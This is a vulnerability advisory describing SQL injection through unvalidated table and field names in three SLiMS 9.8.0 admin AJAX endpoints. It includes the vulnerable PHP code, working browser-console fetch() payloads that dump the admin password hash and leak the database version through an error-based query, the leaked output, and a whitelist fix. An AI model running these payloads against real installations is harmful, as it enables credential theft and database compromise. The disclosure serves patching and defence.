
SQL Injection via identifier injection in SLiMS 9.8.0 admin AJAX endpoints (tableName/tableFields). Any authenticated staff can dump password hashes.
SLiMS 9.8.0 is vulnerable to SQL Injection via identifier injection in three admin AJAX endpoints. The tableName and tableFields POST parameters are interpolated directly into SQL identifiers (SELECT $fields FROM $table_name ...) without whitelist validation. $dbs->escape_string() does not mitigate this because identifiers are unquoted and the injected payload contains no quotes.
Impact: Any authenticated staff account (any role) can extract data from any table — including the user table containing admin password hashes.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-107081 |
| Official Record | cve.org/CVERecord?id=CVE-2026-107081 |
| Affected Version | SLiMS 9.8.0 (master) |
| Vulnerability Type | CWE-89: SQL Injection (Identifier Injection) |
| Attack Vector | Network |
| Privileges Required | Low (any authenticated staff) |
| Original Report | slims/slims9_bulian#391 |
| File | Vulnerable Lines |
|---|---|
admin/AJAX_lookup_handler.php | 55–57, 80–86 |
admin/AJAX_check_id.php | 16–17, 25 |
admin/AJAX_vocabolary_control.php | 40–41, 50, 59–64 |
admin/AJAX_lookup_handler.phpParameter input (lines 55–57) and field mapping (line 67):

Query building (lines 80–86) — $fields and $table_name are interpolated raw:

// lines 55-57
$table_state = explode(':', trim($_POST['tableName']));
$table_name = trim($table_state[1] ?? $table_state[0]);
$table_fields = trim($_POST['tableFields']);
// line 67
$fields = str_replace(':', ', ', $table_fields);
// lines 80-86
$sql_string = "SELECT $fields ";
$sql_string .= " FROM $table_name ";
if ($criteria_string) {
$sql_string .= " WHERE $criteria_string LIMIT $limit";
}
admin/AJAX_check_id.phpLines 16–17 (escape_string does not help in identifier context) and line 25 (query):

// lines 16-17
$table_name = $dbs->escape_string(trim($_POST['tableName']));
$table_fields = $dbs->escape_string(trim($_POST['tableFields']));
// line 25
$sql_string = "SELECT $table_fields FROM $table_name WHERE $table_fields='$id' LIMIT 1";
admin/AJAX_vocabolary_control.phpLines 40–41, 50, 59–64, and 68 — same pattern, identifier without validation:

// lines 40-41
$table_name = $dbs->escape_string(trim($_POST['tableName']));
$table_fields = trim($_POST['tableFields']);
// line 50
$fields = str_replace(':', ', ', $table_fields);
// lines 59-64
$sql_string = "SELECT $fields ";
$sql_string .= " FROM $table_name ";
if ($criteria) {
$sql_string .= " WHERE $criteria LIMIT $limit";
}
// line 68
$query = $dbs->query($sql_string);
Contributing factor: the admin-side global sanitizer at admin/default/session.inc.php:35 is called with filter: [false, true, true], so escape_sql is disabled for all admin requests. Each module must escape locally — which is insufficient for identifier context.
docker-compose.yml: php:8.3.13-apache + mariadb:lts)Login to /admin, open http://localhost:8881/admin/modules/bibliography/index.php, press F12 → Console, and run:
fetch('/admin/AJAX_lookup_handler.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({
tableName: '(SELECT username AS biblio_id, passwd AS title FROM user) AS x',
tableFields: 'biblio_id:title',
keywords: 'a'
})
}).then(r => r.text()).then(t => document.write(t))
Response:
<option value="admin">$2y$10$bkRr0kctSLbJIBWyt52M5Oc7Q9HdAdfVCbfKDFFyFkRdM8LXZl03q</option>
The bcrypt hash of the admin password is leaked and can be cracked offline with hashcat or john.

Error-based variant via admin/AJAX_check_id.php:
fetch('/admin/AJAX_check_id.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({
tableFields: 'biblio_id',
tableName: '(SELECT extractvalue(1,concat(0x7e,(SELECT version()),0x7e))a FROM dual) x',
id: 'x'
})
}).then(r => r.text()).then(t => document.write(t))
Output:
XPATH syntax error: '~12.3.3-MariaDB-ubu2404~'
The database version is leaked via error-based injection using extractvalue().

Because $table_name is inserted in the FROM clause, blind techniques such as time-based injection with IF() and SLEEP() are also possible for further data enumeration without relying on errors.

| Component | Version |
|---|---|
| SLiMS | 9.8.0 (master) |
| Operating System | Ubuntu 24.04 |
| Web Server | Apache 2.4.62 (Debian) |
| PHP | 8.3.13 |
| MariaDB | 12.3.3-MariaDB-ubu2404 |
| MySQL Client | mysqld 8.3.13 |
| Browser | Firefox 156 |
Verified using the repository's own docker-compose.yml.
$allowed_tables = ['biblio', 'mst_author', 'mst_publisher', /* ... */];
if (!in_array($table_name, $allowed_tables, true)) {
http_response_code(400);
exit('Invalid table name');
}
// Validate each field
$allowed_fields = ['biblio_id', 'title', 'author', /* ... */];
foreach (explode(':', $table_fields) as $f) {
if (!in_array(trim($f), $allowed_fields, true)) {
exit('Invalid field');
}
}
The frontend should not send raw table/column names. Use an abstract code (e.g. "biblio_lookup") that the server maps to a legitimate table and column set.